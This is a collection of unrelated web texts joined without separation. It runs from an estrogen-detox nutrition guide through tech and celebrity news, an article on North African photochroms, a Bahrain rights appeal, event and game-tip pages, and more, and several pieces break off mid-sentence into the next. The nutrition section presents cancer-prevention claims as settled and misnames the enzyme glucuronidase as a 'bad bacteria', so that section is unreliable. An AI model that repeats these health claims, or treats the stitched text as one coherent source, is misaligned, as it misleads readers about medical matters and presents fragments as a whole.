Omega-3 fats, which are found in fish, have been shown to promote the C-2 pathway over the 16 pathway, particularly EPA omega-3 fatty acids. On the flip side, diets low in omega-3s have resulted in estrogen being metabolized primarily through the C-16 pathway.
A high-protein diet will produce a better body composition for most people. Plus, low protein diets have been shown to decrease activity of something called cytochrome P450 that metabolizes estrogen. The amino acids lysine and threonine have been shown to support liver function and since estrogen is metabolized by the liver, it is thought that these proteins can help get rid of estrogen from the body.
Lysine and threonine are found in meat, fish, beans, eggs, and some seeds (sesame, fenugreek). Sesame seeds also provide fiber and fenugreek helps lower the insulin response to carbs, making both good additions to your diet.
3) Decrease Body Fat
The more fat you have, the more estrogen you’ll have because fat tissue increases levels of the aromatase enzyme that turns testosterone to estrogen. Decreasing body fat and building lean mass are key to cancer prevention and estrogen elimination.
Another way to protect the tissues from circulating estrogen is to keep it bound to sex hormone binding globulin (SHBG). When it is bound to SHBG, estrogen is not available to bind with cellular receptors and won’t have its estrogenic impact. Flaxseed hulls are especially good at increasing SHBG (as well as inhibiting aromatase).
4) Use Phytoestrogens To Promote the C-2 Pathway
Include foods with phytoestrogens in your diet because they will take natural and chemical estrogens out of play in the body. Phytoestrogens are plant-based compounds that can bind to estrogen receptors, but they have about 1/1000th of the effect on the body as real or chemical estrogen. When phytoestrogens bind to estrogen receptors they basically take up the parking sport of the true estrogen, and keep it from exerting its effect.
Lignans and isoflavones are the main phytoestrogens, and in addition to binding with estrogen receptors, they can increase SHBG levels (protects the body by binding to estrogen), decrease aromatase (prevents testosterone turning into estrogen), and shift metabolism of estrogen away from the C-16 pathway to the C-2 pathway (the safer pathway).
The best phytoestrogens to include in the diet are flax, sesame, leafy greens, kudzu, alfalfa, clover, licorice root, and legumes.
5) Block Aromatase and Stop Testosterone From Turning into Estrogen
Blocking aromatase is key for getting rid of estrogen because it plays the main role in producing estrogen in men. If aromatase is present, there are two chances for estrogen to be produced in the body.
First, the hormone androstenedione will be turned into testosterone unless aromatase is present in which case it will be turned into estrogen. Then, aromatase will turn testosterone into estrogen as well.
Nutrients that have a proven effect on aromatase include selenium, melatonin, zinc, green tea, and citrus flavonones—substances found in orange and grapefruit rinds along with tomato skins.
6) Improve Estrogen Metabolism By Promoting the C-2 Pathway
Promoting the C-2 pathway of estrogen metabolism is probably the most important thing you can do to prevent cancer. The first step of estrogen elimination is for enzymes to initiate metabolism by joining the estrogen molecule. This will happen at either the 2-carbon position or the 16-carbon position of the molecule, which determines the pathway the estrogen will head down.
The C-2 pathway produces very weak estrogenic activity and is termed “good” estrogen. In contrast, the C-16 pathway produces robust estrogenic activity and promotes tissue damage that leads to cancer.
Key nutrients for supporting the C-2 pathway are EPA fish oils, phytoestrogens, and of special importance, B vitamins and a substance called DIM. The B vitamins, particularly B6, B12, and folic acid promote the C-2 pathway. B6 is also known to decrease gene activity once estrogen is bound to a receptor, meaning this vitamin can inhibit cell damage and cancer development.
DIM is a compound found in cruciferous vegetables such as broccoli and cauliflower. It is often taken in supplement form because you would need to eat large quantities of these vegetables daily in order to provide sufficient DIM to have an effect on estrogen elimination.
7) Ensure Complete Elimination of Estrogen
Once you shift your estrogen elimination to the C-2 pathway you have to make sure it gets excreted from the body. Two things can happen along the way out that cause big problems. First, estrogen that is heading down the C-2 pathway can be easily turned into something called quinones, which are “highly reactive” and can damage DNA and cause cancer.
In order to avoid the production of quinones you must have adequate amounts of two nutrients—magnesium and SAMe. This process of metabolizing estrogen to avoid quinones is called methylation and is the first place that things can go wrong on the estrogen elimination pathway.
As estrogen is heading out of the intestine, it needs to be bound to glucuronic acid, but there is a “bad” intestinal bacteria that contains an enzyme that breaks estrogen apart from the glucuronic acid. This is the second place estrogen detoxification can go wrong.
When the “bad” bacteria, called glucouronidase, uncouples the bond between estrogen and glucuronic acid, estrogen re-enters circulation, effectively raising estrogen levels in the body and damaging tissue. To avoid this, you need a healthy gut, which you can get by supporting the probiotic bacteria in your gut and eating lots of fiber and lignans.
8) Supplement With Essential Nutrients
To review, the essential nutrients to help metabolize estrogen are the B vitamins, zinc, omega-3 fish oils, DIM (nutrient found in cruciferous vegetables), green tea, magnesium, selenium, and melatonin.
Vitamin E is another potent antioxidant that aids estrogen elimination. Low vitamin E is associated with elevated estrogen and it has been shown to inhibit the growth of breast and prostate cancer cells.
9) Watch What You Drink
Alcohol increases estrogen levels in men and women, and it has been shown to decrease testosterone as well. For optimal estrogen metabolism, it's recommended that you eliminate all alcohol besides certain red wine.
Sardinian and Spanish wines are rich in antioxidants that help remove estrogens. Other good choices are Pinot and Merlot.
10) Limit Chemical Estrogen Exposure
Avoiding chemical estrogens is one of the most important strategies for preventing cancer and protecting yourself. If you were able to have no contact with chemical estrogens, and you had good nutrition, a lean body composition, and a large proportion of muscle mass, it is very unlikely you’d have excess estrogen or be at risk of cancer.
Unfortunately, chemical estrogens are everywhere. It is only recently that the mainstream medical community has started to seriously consider the connection between cancer and the environment the industry has created with the lax regulation of estrogenic chemicals.
There is even a movement in public health advocacy that government regulatory bodies and chemical companies need to take action to reduce environmental toxins. Although there is an awareness that the responsibility of reducing cancer risk shouldn’t be on the individual because we cannot completely avoid contact with chemical estrogens, the reality is that you have to take responsibility for eliminating estrogen from your body and the bodies of your loved ones.
Here is a list of ten simple things you can do today to reduce your chemical estrogen exposure.Microsoft is expanding its partnership with BMW to enable Skype for Business in cars that use BMW’s iDrive system. BMW was one of the first car makers to enable Office 365 services in its cars, and this latest feature will let owners take Skype meetings in their cars through the built-in entertainment system.
The system will work by triggering notifications for meetings, allowing drivers to dial-in without having to enter the conference number details manually. BMW will also enable tighter integration with calendars, contacts, and to-do lists all from Microsoft’s Exchange service. BMW is planning to enable the Skype for Business feature in France, Germany, and the UK initially before it expanding it to other countries.
BMW also revealed earlier this year that it plans to integrate Microsoft’s Cortana digital assistant into some cars as part of Microsoft’s Connected Vehicle vision. BMW is planning to let drivers access Cortana through a dashboard screen, with the ability to easily access to-do lists, reminders, news, events, and other Cortana features.ADVERTISEMENT
Apple CEO Steve Jobs underwent a liver transplant in Tennessee about two months ago, said Arik Hesseldahl in BusinessWeek. This “potentially explosive” news about Apple’s “irreplaceable creative and aesthetic powerhouse” could have spooked investors, but The Wall Street Journal broke the story early Saturday morning, after Apple’s “enormously successful” launch of its newest iPhone, so it was an “optimal” time for the news to leak.
The timing was suspiciously good for Apple, said John Gruber in Daring Fireball, which raises the question: Who gave the Journal the story? The story, very oddly, doesn’t cite any source for the news, but the leak likely came from Jobs’ health-care provider, an Apple executive, or from Jobs himself. The story is a little “unflattering” to Jobs, suggesting that his new liver could have been put to better use, so an Apple board member is “my best guess.”
Jobs was lucky to get a new liver, said Sally Satel in Forbes, and he probably chose Tennessee because the transplant wait is much shorter there than in California—moving for a transplant is “perfectly legal,” if expensive, and Jobs would've been “crazy” not to have done it. Still, once he returns to Apple later this month, maybe he can launch an “iLiver initiative” for those facing liver failure who can’t afford to move.
“Steve Jobs isn’t really coming back as CEO,” said tech analyst Joe Wilcox, and certainly not in June, as promised. You don’t recover from a liver transplant for at least six months, and the transplant means Jobs’ pancreatic cancer has returned and spread. The iPhone launch was a clever “misdirection” to blunt the impact of that “public company equivalent of an atomic bomb.”An unusual database problem at the giant social networking site could only be cured by taking the sort of action you normally take with a misbehaving PC
How Facebook fixed the site: they turned it off and on again. Literally
I found it, Mr Zuckerberg! Photo by Sir Mildred Pierce on Flickr. Some rights reserved
Ever been on the phone to IT support and they told you to turn it off and then on again, and that sorts it out?
Facebook last night had that sort of problem. So they turned the site off and on again. And it fixed their problem. Literally.
As Robert Johnson, its director of software engineering, explained in a slightly shamefaced blogpost, the site was offline for about two-and-a-half hours – its worst outage in four years – due to some technical changes that Facebook had made.
It wasn't only the site itself which went belly-up; the Like buttons (which connect back to Facebook) vanished on 350,000 sites too, and the API which powers its OpenGraph system had serious problems.
The logistics of running a vast network like Facebook mean that you don't stick all your servers in a single place, of course. Facebook runs a big caching operation, so that lots of servers replicate its content. The cache gets updated periodically; it sits on a network called tfbnw.net (for "the Facebook network": you can see it here in this traceroute to Facebook, which shows what the intermediate networks are between one site and Facebook), which in effect sits like a ring around the "central" Facebook site.
Sometimes, things go wrong in the cache as values go out of date; but that's no problem, usually, because you can overwrite them with correct values from the centre. At least, you would like to.
Here's how Johnson explained it:
"The key flaw that caused this outage to be so severe was an unfortunate handling of an error condition. An automated system for verifying configuration values ended up causing much more damage than it fixed.
"The intent of the automated system is to check for configuration values that are invalid in the cache and replace them with updated values from the persistent store. This works well for a transient problem with the cache, but it doesn't work when the persistent store is invalid."
In other words: something went wrong inside the circle. And that wrong value got passed out to all the fbnw.net servers that would normally serve up Facebook pages.
Back to Johnson:
"Today we made a change to the persistent copy of a configuration value that was interpreted as invalid. This meant that every single client saw the invalid value and attempted to fix it. Because the fix involves making a query to a cluster of databases, that cluster was quickly overwhelmed by hundreds of thousands of queries a second."
Basically, tfbnw.net's servers started querying the central system all at once, which overwhelmed it.
"To make matters worse, every time a client got an error attempting to query one of the databases it interpreted it as an invalid value, and deleted the corresponding cache key. This meant that even after the original problem had been fixed, the stream of queries continued. As long as the databases failed to service some of the requests, they were causing even more requests to themselves. We had entered a feedback loop that didn't allow the databases to recover."
And now we come to the "oh my god, we're really going to have to do that?" moment:
"The way to stop the feedback cycle was quite painful – we had to stop all traffic to this database cluster, which meant turning off the site. Once the databases had recovered and the root cause had been fixed, we slowly allowed more people back onto the site."
And the result?
"This got the site back up and running today, and for now we've turned off the system that attempts to correct configuration values. We're exploring new designs for this configuration system following design patterns of other systems at Facebook that deal more gracefully with feedback loops and transient spikes."
That means that there may be some times over the next few days when you won't be able to reach Facebook in particular places, or that unusual things will happen.
"We apologize again for the site outage, and we want you to know that we take the performance and reliability of Facebook very seriously."
Well, of course: if the site's down, it can't sell ads, and if it can't sell ads, how is Mark Zuckerberg going to justify his enormous Forbes valuation?(CNN) — The images look decades ahead of their time: color stills of 19th century scenes, sharp and beautifully rendered in earthy shades evoking the dry heat of their setting, North Africa. Not paintings, but not photographs like you and I know them today. Something in between and a treat for the eyes.
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Men huddle around a snake charmer while women congregate in the shade nearby. Across sprawling cities minarets push up into the sky, alongside colonial ports replete with rococo arches and neo-classical columns. Muslims in traditional robes and Christians in European livery walk streets apart, but never appear to meet. They represent a tale of two cities, colonizer's and subject's, depicted in carefully constructed peace.
These extraordinary images, living deep within the archives of the Library of Congress, capture a fleeting moment in history on the cusp of the 20th century. Dated from approximately 1899, their authors are largely unknown, while the technique behind them has long gone out of practice.
Called photochroms, a form of photolithography, these high end portraits of life in colonial North Africa are a time travel tour through a forgotten era; rich with politicking and not always the innocent postcards they may seem. So what secrets and hidden insights do they contain?
The origins of the photochrom
The 19th century marked a period of unparalleled growth in industry, engineering and empire. The world had opened up: travel became easier as liners crossed oceans in record speeds and the proliferation of railway lines prompted Great Britain, the home of GMT, to rethink time itself
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For the privileged few, horizons were expanded. A colonial class settled into enclaves from Agra to Algiers, while European tourists wishing to venture beyond the continent had never had it so easy. Exoticism was sought and found, with other cultures recorded and represented -- though not necessarily understood.
By the end of the century Europeans were setting up cameras all across North Africa, capturing scenes from an array of colonial cities. Egypt was a British protectorate, Algeria a French colony; Tunisia a French protectorate while Morocco, not yet a Spanish and French protectorate, nonetheless had a heavy European presence. Libya, meanwhile, was not yet unified and part of the Ottoman Empire.
The photochrom, developed in Switzerland, 1890 after 10 years of research, was a breakthrough in photography, says Helena Zinkham, chief of the prints and photographs division at the Library of Congress.
"A lot of people think all old photos were black and white and brown," she says, "but in fact the drive to introduce color into photography was almost from the start the invention."
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To make a photochrom "you take the negative from the camera and expose it on to stone or zinc -- a very flat surface," Zinkham explains.
Before exposing, a coating of light-sensitive chemicals is applied to the flat plate, which hardens in accordance with the light filtered through the negative, creating a print. Different exposure durations would transfer different shades of the monochrome negative, meaning up to 24 separate plates could be made, each representing a different color.
The photographer would create extensive notes so the photochrom printer could then ascribe different colors to different plates. Printed on top of another, ink would bleed and create shading and photorealistic results.
"By switching out to the lithography process you could print hundreds of thousands of copies," Zinkham says. High quality and cost effective, these professional images soon circulated around the world, with companies in London and the US licensing the patented process.
Antique art or propaganda pieces?
Charlotte Chopin, lecturer in French studies at the University of London Institute in Paris, describes the prints as "part of the European capitalist economy of mass cultural production that is geared towards European clientele." Indeed, while many of the images portray indigenous people, Chopin, a specialist in colonial Algeria, says she's seen no evidence that photochroms were circulated among indigenous communities.
The photochrom became a shop window for the European traveler: a sailing trip down the Nile, a visit to the souks, while selling the achievements of the colonial model.
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"[They] contrast the European imprint of the city with the indigenous people... something that would probably appeal to tourists, to see the contrast with European architecture and the streets where the indigenous people were living," says Arden Alexander, cataloger specialist at the Library of Congress.
Indigenous people became an attraction in and of themselves -- but also served a political purpose.
"I think some of [the photochroms] look very much Orientalist," argues Chopin. "Orientalism was absolutely crucial to power structures of colonial rule, because it was about stereotypes that portrayed North African peoples in a particular way, either as indolent, mysterious or dangerous -- or irrational." These stereotypes could then be used to legitimize colonial domination, the lecturer says.
"Moorish women" and an "Arab juggler" are pictured and annotated by photographers, but denied a voice. The colonial eye keeps "control of the frame," argues Chopin, saying the photochroms omit evidence of the many forms of violence exacted by colonial powers on indigenous populations to maintain authority.
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"The images are really romanticized... it looks peaceful," she says, "people looking happy and tranquil. I don't think that's at all accurate for anyone really living in North Africa."
But Chopin also argues that there could be a subversive element to their exotic, Orientalized images.
"One of the things other scholars talk about is performance: performing the perceptions that Europeans have of Algerians and Tunisians in order to, behind the scenes, carry on and protect your own culture... because on the surface you're performing the culture you want to see," she says.
End of an era
The First World War brought a curtain down on this era of photography. By the time peace treaties were signed camera technology had moved on, and tourists were more likely to take their own pictures, rather than purchase a photochrom. The cultural landscape in North Africa had changed too, as populations found their voices and sought reforms from their colonial masters.
These images, nostalgic but containing a rich, and sometimes dark subtext, were now objects of a past epoch.
Today photochroms are collector's items, and held in museums and libraries. But with the digitization of archives, some collections are finding a new lease of life online.'Deadpool' Is a Potty-Mouthed Splatterfest. A Really Funny One
Enlarge this image toggle caption Courtesy of 21st Century Fox Courtesy of 21st Century Fox
Marvel's new superhero movie Deadpool stars Ryan Reynolds, a fact that, up to now, would likely not have been considered much of a selling point. This is not, after all, Reynolds' first stint as |
13 2015, the day that Your Majesty pardoned him and ordered his release following his conviction for “publicly insulting official institutions” by criticizing the government on social media. The travel ban is related to two other speech-related charges that led to his arrest on April 2 2015, charges which prosecutors have not dropped.
The first outstanding charge is for allegedly “insulting a statutory body”, under article 216 of Bahrain’s Penal Code, based on his social media comments about the alleged torture of detainees in Jaw Prison in March 2015. The second accuses him of “disseminating false rumours in times of war,” under article 133 of the Penal Code, based on social media posts criticizing Saudi Arabia-led coalition air strikes in Yemen. Violations of articles 133 and 216 carry maximum sentences of 10 and three years in prison, respectively. Neither of the alleged acts upon which these charges are based were in any way recognisable criminal offences under international human rights law, and both involved the peaceful exercise of internationally protected rights to freedom of expression and to promote and protect human rights.
In November 2015, Sumaya Rajab was diagnosed with medical conditions requiring urgent and highly specialized treatment according to the medical expert team monitoring her condition. She was told that this treatment is not available in Bahrain.
In December 2015, Nabeel Rajab’s lawyers submitted their fourth appeal against the travel ban – they have submitted two requests to the attorney general, one request to the investigating prosecutor and one request to the Public Prosecution Office – requesting that it be lifted so he could accompany his wife. The Bahraini authorities have not responded to these appeals and the travel ban remains in place.
In November 2015, 81 Members of the European Parliament called on Your Majesty to lift Nabeel Rajab’s travel ban. The European Parliament passed a resolution in July 2015, shortly prior to Nabeel Rajab’s pardon, calling for his immediate and unconditional release alongside other prisoners of conscience. The same month, 44 members of the UK Parliament called on the government of Bahrain to drop Nabeel Rajab’s current charges and to release all political prisoners and those imprisoned for exercising their right to freedom of expression. After his release, three UN human rights experts – Michael Forst, David Kaye, and Maina Kiai – called for Nabeel Rajab’s charges to be dropped. This followed the UN High Commissioner for Human Rights, Prince Zeid Ra’ad Zeid Al-Hussein, call for the release of all those detained in relation to their peaceful activities in Bahrain in June.
We, the undersigned, therefore call on the Bahraini authorities to:
Drop all pending free speech-related charges against Nabeel Rajab;
Lift the travel ban immediately and unconditionally, thus allowing Nabeel and Sumaya Rajab to travel; and
Guarantee in all circumstances that human rights defenders in Bahrain are able to carry out their legitimate human rights activities without fear of reprisals, and free of all restrictions including judicial harassment.
Signatories:
Americans for Democracy and Human Rights in Bahrain (ADHRB)
Amnesty International
Arabic Network for Human Rights Information (ANHRI)
Bahrain Institute for Rights and Democracy (BIRD)
Bahrain Center for Human Rights (BCHR)
Cairo Institute for Human Rights Studies (CIHRS)
Canadian Journalists for Free Expression (CJFE)
CIVICUS
English PEN
European Centre for Democracy and Human Rights (ECDHR)
FIDH, within the framework of the Observatory for the Protection of Human Rights Defenders
Freedom House
Front Line Defenders
Gulf Centre for Human Rights (GCHR)
Human Rights Watch
Index on Censorship
International Media Support (IMS)
International Service For Human Rights (ISHR)
Lawyer’s Rights Watch Canada (LWRC)
Maharat Foundation
No Peace Without Justice
PEN International
Physicians for Human Rights
Rafto Foundation for Human Rights
Salam for Democracy and Human Rights
SENTINEL Human Rights Defenders
World Organisation Against Torture (OMCT), within the framework of the Observatory for the Protection of Human Rights DefendersRaleigh Ruby Camp!
Where: Red Hat Headquarters (1801 Varsity Dr., Raleigh, NC 27606)
When: October 18th, 2008
What: A Ruby focused barcamp event
Who: Up to 150 Rubyists
Description
You don't need speakers to have a conference! This event will be a un-conference focused on Ruby. Similar to barcamp we will build our own conference based on topics and presentations pitched at the beginning of the conference. Topics can be anything related to Ruby, Rails, Merb, Agile, etc.
In addition to the topics and presentations pitched Relevance will be running an half-day refactotum in the main room. After lunch the main room will be reserved for an open hack-a-thon.
Registration
Free! Thanks to Red Hat and our other sponsors there is no fee for attending this event. The first 100 registered attendees will get a Raleigh Ruby Camp t-shirt.
Schedule
8:00 - Doors Open
9:00 - 9:20 Planning and Announcements
9:30 - 12:30 Refactotum in Main Room!
9:30 - 10:20 Session 1
10:30 - 11:20 Session 2
11:30 - 12:20 Session 3
12:30 - 1:20 Lunch
1:30 - 2:20 Session 4
2:30 - 3:20 Session 5
3:30 - 4:30 Session 6
5:00 - Drinks at Sammys
Sponsors:
Organizers:
Register (add your name here, max of 150)
You'll need the invite key to sign up: c4mp
Power strips: Just toss one in your bag and bring it with you.
Routers (please add your name if you can bring a wireless router, and specify a channel)
James Avery (1) -- Channel 1 Nathaniel Talbott (1) -- Channel 11 David Lanouette (1) -- Channel 9 Michael Hale (1) -- Channel 11 Keith Lea (1) -- Channel 6
Please configure your router to be open and set the name to RubyCamp + your birthday (RubyCamp082729)
PublicityCUSTOMS authorities in India have arrested a man who was attempting to board a flight in New Delhi with an endangered monkey in his underwear.
The suspect from the United Arab Emirates, who was detained along with two other travellers, had arrived from the Thai capital Bangkok and was about to take a connecting flight to Dubai on Jet Airways.
"Security personnel found the monkey in his underwear while frisking the transit passengers," a customs official said.
The 17-centimetre loris is a type of monkey native to India and southeast Asia, and is seen by some as possessing aphrodisiac qualities.
Petite and round-eyed with a white stripe down its face, "the monkey is an endangered species," said the official.
Another was discovered in a dustbin at the Indira Gandhi International airport. It had been abandoned because the men could not carry him.
Both monkeys have been handed over to animal welfare organisation People for Animals headed by former environment minister Maneka Gandhi, the official said.
The men, named as Hamad Al-Dhaheri, Mohammed Al-Shamsi and Rashid Al-Shamsi, were handed over to the Wildlife and Customs Department for further questioning and were later arrested by the police.
Authorities were trying to determine the exact origin of the monkeys.
Customs officials recently caught an Indian man at Mumbai's main airport with 10 turtles in his underwear, which he was trying to smuggle into the city from Bangkok, the Hindustan Times reported last week.
They also seized six Persian cats, three poisonous tarantula spiders and 11 birds eggs from the man and his two accomplices, the report said.
The newspaper quoted a customs official saying the men were fined and sent back to Bangkok with the protected species and eggs they were trying to smuggle.Friday marks the final issue of Playboy containing images of naked women.
The magazine chose Pamela Anderson to be the last naked cover model, announcing on its website in early December: “To close out this era in the magazine’s history, it only made sense to put the most famous Playmate in Playboy history on the cover: Pamela Anderson.”
In October, the magazine announced that, after 62 years, it would stop publishing nude photos. “That battle has been fought and won,” Scott Flanders, Playboy’s CEO, told the New York Times about how the Internet contributed to the decision. “You’re now one click away from every sex act imaginable for free. And so it’s just passé at this juncture.”
Read More: How Playboy’s First Naked Centerfold Got Published
Write to Tessa Berenson at tessa.berenson@time.com.A 94-year-old man will graduate from West Virginia University (WVU) this month after working on his degree on and off for more than 75 years.
Anthony Brutto of Morgantown enrolled at WVU in 1939 and started studying engineering, physical education and industrial arts before being drafted into World War II and serving in the Army Air Corps, according to a WVU press release.
He started his degree again when he came back home, but he soon had to stop taking classes because his wife fell ill.
From then on, he worked as a machinist in factories that manufactured aircraft before retiring in the mid-’80s to make wooden sculptures of birds and wild animals, as well as jewelry. But he still kept plugging away at his coursework.
“It was always important to me to graduate,” he said, according to the release.
Write to Olivia B. Waxman at olivia.waxman@time.com.Getty Images
Each school day, millions of students move in unison from classroom to classroom where they listen to 50- to 90-minute lectures. Despite there being anywhere from 20 to 300 humans in the room, there is little actual interaction. This model of education is so commonplace that we have accepted it as a given. For centuries, it has been the most economical way to “educate” a large number of students. Today, however, we know about the limitations of the class lecture, so why does it remain the most common format?
(MORE: Should Teachers Be Allowed to Share Their Lesson Plans?)
In 1996, in a journal called the National Teaching & Learning Forum, two professors from Indiana University — Joan Middendorf and Alan Kalish — described how research on human attention and retention speaks against the value of long lectures. They cited a 1976 study that detailed the ebbs and flows of students’ focus during a typical class period. Breaking the session down minute-by-minute, the study’s authors determined that students needed a three- to five-minute period of settling down, which would be followed by 10 to 18 minutes of optimal focus. Then — no matter how good the teacher or how compelling the subject matter — there would come a lapse. In the vernacular, the students would “lose it.” Attention would eventually return, but in ever briefer packets, falling “to three- or four-minute [spurts] towards the end of a standard lecture,” according to the report. This study focused on college students, and of course it was done before the age of texting and tweeting; presumably, the attention spans of younger people today have become even shorter, or certainly more challenged by distractions.
Middendorf and Kalish also cited a study from 1985 which tested students on their recall of facts contained in a 20-minute presentation. While you might expect that recall of the final section of the presentation would be greatest— the part heard most recently — in fact the result was strikingly opposite. Students remembered far more of what they’d heard at the very beginning of the lecture. By the 15-minute mark, they’d mostly zoned out. Yet these findings — which were quite dramatic, consistent and conclusive, and have never yet been refuted — went largely unapplied in the real world.
(MORE: Why Grit Is More Important Than Grades)
Even Mittendorf and Kalish themselves did not take these findings to their natural conclusions. Having established that students’ attention maxed out at around 10 or 15 minutes, they did not question whether hour-long lectures should be the dominant use of class time. Instead, they recommended that teachers insert “change-ups” at various points in their lectures, “to restart the attention clock.” This may have been a pragmatic incremental step, but if attention lasted 10 or 15 minutes while passively listening, it is questionable why valuable time in classrooms with teachers and peers should be devoted to lecture at all.
With the Internet, lectures can in fact be divided up into shorter, sub-15 minute sessions, and be delivered outside the classroom. So what do we do with that class time? Here we can take inspiration from the humanities seminar, where any “information delivery” happens outside the classroom through student reading, allowing class time to be entirely devoted to teacher-moderated discussion. This also happens in many business schools, where students read a case study ahead of time and the teacher leads a conversation about the issues facing the company or executive described in the case. With engineering or science, class time can be used for students to collaboratively tackle more challenging questions or projects. The main point is that when humans get together to learn, we should replace passivity with interactivity.
(MORE: Won’t Back Down: Why This Education Movie Matters)
When we free ourselves from the notion of one person delivering information at the front of a classroom at a set pace, it allows us to completely rethink our assumptions of what a classroom or school can be. We could then consider having multiple teachers in the same room working with students of multiple skill levels and age groups. A bell would no longer need to be rung to artificially stop one subject and to start the next. Ironically, by removing lecture from class time, we can make classrooms more engaging and human.
MORE: How to Get — And Keep — Someone’s AttentionA new open source JavaScript library claims to offer 90 per cent of the popular jQuery library's functionality at only 13 per cent of the size. jQuip – JQuery-in-parts – is small enough that it can be included as source to avoid external references in web pages, according to the developers. It offers the $() selector syntax and methods including each, attr, bind, unbind, append, prepend, before, after and many more. It also supports a wide range of events and static methods. Plugins allow jQuip to expand its capability to detect documentReady and perform CSS manipulation and Ajax calls. Any call not implemented currently throws a "not implemented" exception. The animation methods hide, show, fadeIn and fadeOut work, but do not animate.
The developers say, though, that their primary goal with jQuip is to "kickstart" the jQuery developers into a modular reorganisation of the codebase saying "we've proved the most useful parts of jQuery is a fraction of its code-base". The minified and gzipped jquip.js is only 4.28 KB and just minified,12.6 KB. A page on Servicestack.net allows users to select the plugins and create a custom version. Even with all the plugins in place, jQuip comes out at only 19.8 KB of minified code. jQuip is available under the MIT licence and can be downloaded from the project's github repository.
(djwm)There are things I only worked out how to do in Fallout 4 [official site] after hours and hours of play, so I thought I’d spare the rest of you from similar confusion. From fuss-free shopping to streamline construction and power armour management, and of course figuring out how to run those blasted settlements, here are a few must-know pieces of hard-earned wisdom. Some apply to total greenhorns, some might surprise even people fairly deep into the game – and I’ll add to them as more occur.
I can’t quite decide if the game just got itself into a bit of a muddle when it comes to explaining its many, many less than obvious systems or if it truly has a sink or swim philosophy, figuring that it’s far more satisfying for players to work everything out for themselves. I suspect the former, to be honest, given its many other glitches and that most of the features it fails to document are down to user interface obfuscation (and a complete absence of relevant tutorial) rather than delightful things one might stumble across through experimentation. (Although I include a couple of those too).
1) How to use the Perk menu
This comes under the category of stuff for near-newbies. That Perks unlock screen in the Pipboy? Looks as though it’s just a single screen, doesn’t it? No arrows, no scrollbars, no prompts- but in fact it scrolls way down, revealing a whole mess of other perks, including the arguably vital likes of Lockpicking and Science, plus returning favourite Bloody Mess. Right-click and drag to move around it, or alternatively move the cursor to the edge of the screen. You can also pointlessly zoom in and out a tiny bit with the mouse wheel. Sadly there are no ways to organise or filter it to be more easily-browsed.
2) How to find your Power Armour
You can’t shove a suit of Power Armour in a cupboard, so what to do with it if you’re running out of Fusion Cores or simply want to stroll around in your civvies for a while? Well, just get out of it and leave it wherever – and a new icon will appear on the map showing where you’ve left it.
3) How to repair Power Armour
If you do wear Power Armour regularly, you’ll notice that, unlike regular armour, it can get pretty messed up, even to the point that you can’t wear it any more. You’ll want to repair it regularly, which you can do by walking close to a Power Armour Station – the yellow upright frames which look like a partially-dismantled Aliens powerloader – getting out of the armour and then hitting Use on the Station (E by default). Repair and upgrade options should then pop up. Keep a lot of Steel around for repairs, by the way.
4) Easy junk storage
And while we’re talking about crafting stations, did you know that you can store stuff in them? If there’s somewhere you visit frequently, the stations make an easy and logical place to leave items you don’t need with you at all times. This is doubly useful in terms of junk; I know I spent a few too many hours hauling around a backpack full of toasters and microscopes because I was worried I’d forget which shelf or trunk I’d stuck them all in otherwise. There’s even a shortcut to dump all Junk – i.e. everything that isn’t a weapon, armour, aid or quest item – into a crafting station. Just press R to enter Transfer mode (not E to Use) then T the shift all junk over.
5) Making more space in settlements
Speaking of Settlements, there are a couple of less than obvious tricks worth knowing about. The first two you probably did work out by yourself, but I’ll stick ’em here for the record. One is that you scan scrap a great deal of existing crap in settlements – lamposts, beds, rusted cars, even some derelict buildings – by pressing R while in build mode. This reduces them to a few components parts – usually steel and wood – and dumps it directly into the the settlements’ storage. (You can access this storage from a crafting station, as described above. You can also network crafting stations between settlements – see tip 8). You can also do this to useful and decorative stuff, and also to any weapons or armour – though they require either doing it from a crafting station or by manually dropping the item in question on the ground then entering build mode and doing the R to scrap thing.
6) Moving and storing existing furniture and crafting stations
Secondly, you can relocate or store intact existing furniture and stations that you want to keep. Go into build mode, hover the reticule over the item in question and press E to select it, which lets you move it around, or Tab to send it into storage. This means you can access it from elsewhere without having to build a brand new whatever it is.
7) How to assign roles to settlers
Thirdly and most importantly/least obviously, if you’re anything like me you’ll have been frustrated about how to assign settlers to tasks such as farms and defences. Sometimes a new settler will walk up to you and ask if there’s anything they can do, but if you miss the prompt that’s it, they’ll never ask again and will just hang around like a bad, useless smell. What you really have to do is enter Build mode, go hover the reticule over a settler and press E – you can then tell the settler to walk somewhere, or point the reticule at a construction and you can assign them to it. No more withered Tato plants.
8) How to share storage across all settlements
This Settler assignation function serves an extra, perhaps even more useful purpose – you can use them to essentially network crafting stations, so anything you’ve stored in them becomes accessible from any of your settlements. No more repeatedly hoofing it between Sanctuary Hills to Red Rocket because you haven’t got quite enough fuses in one place, in other words. You’ll need to have unlocked the Local Leader perk for this, which itself requires a Charisma of 6. With that done, repeat the build mode / find spare settler process above, but press Q to activate a Supply Line rather than E to Command – you’ll then be presented with a list of settlements. Choose one to form a link between it and your current location. Note that this will essentially remove the settler from the current place’s population, however, as well as dragging them off any other task they might have been associated with. It’s also worth nothing that you can also assign some companions to Supply Lines, if you’re short on spare settlers.
9) Where to get free Fusion Cores
I suspect this falls into the ‘sanctioned cheat’ category, as it’s also a cheery little semi-emergent experiment. If you’re doing the whole Power Armour thing, your most precious resource is Fusion Cores, those little glowing pucks which give your metal suit its defensive and mobile capabilities. You can find these hidden deep inside some buildings, and occasionally for sale at exorbitant prices – but the best way to get hold of them is from the Brotherhood Of Steel. If you won’t or can’t sign up with the big ol’ stern techno-fascists, how about stealing cores from them?
You don’t have to become their enemy to do this – just get your pickpocket perk up to 3 then keep your eyes peeled for suited’n’booted Brotherhood troops. Sneak up on them and you can steal the Fusion Core right out of the back of the suit. One hell of a design flaw if you ask me, especially as this then prompts the soldier to pop out of his now semi-non-functional suit and leave it right there, so you can then rob limb, torso and helmet armour upgrades from it. Or even the whole suit, if you’ve not bought one yet. If you’re enemies with the Brotherhood, this is also a powerfully effective strategy – sneak up, take the core and make them hatch out of their protective shell before you start fighting.
10) How to filter items while trading
A quick general shopping tip. Easy and vital when you know how, a massive pain in the wobbly bits if you don’t. When trading, you can switch between categories (i.e. weapons, apparel etc) rather than have to endlessly scroll through a long list which initially seems as though it can only be sorted alphabetically, by damage, value or weight. Just look for the little arrows to the left and right of ‘My Inventory’ or the trader’s name and you can cycle through the categories. If those arrows aren’t there – as they’re often not – you can click anyway and it will still cycle through. Saves a lot of legwork, this.
11) How to holster your weapon
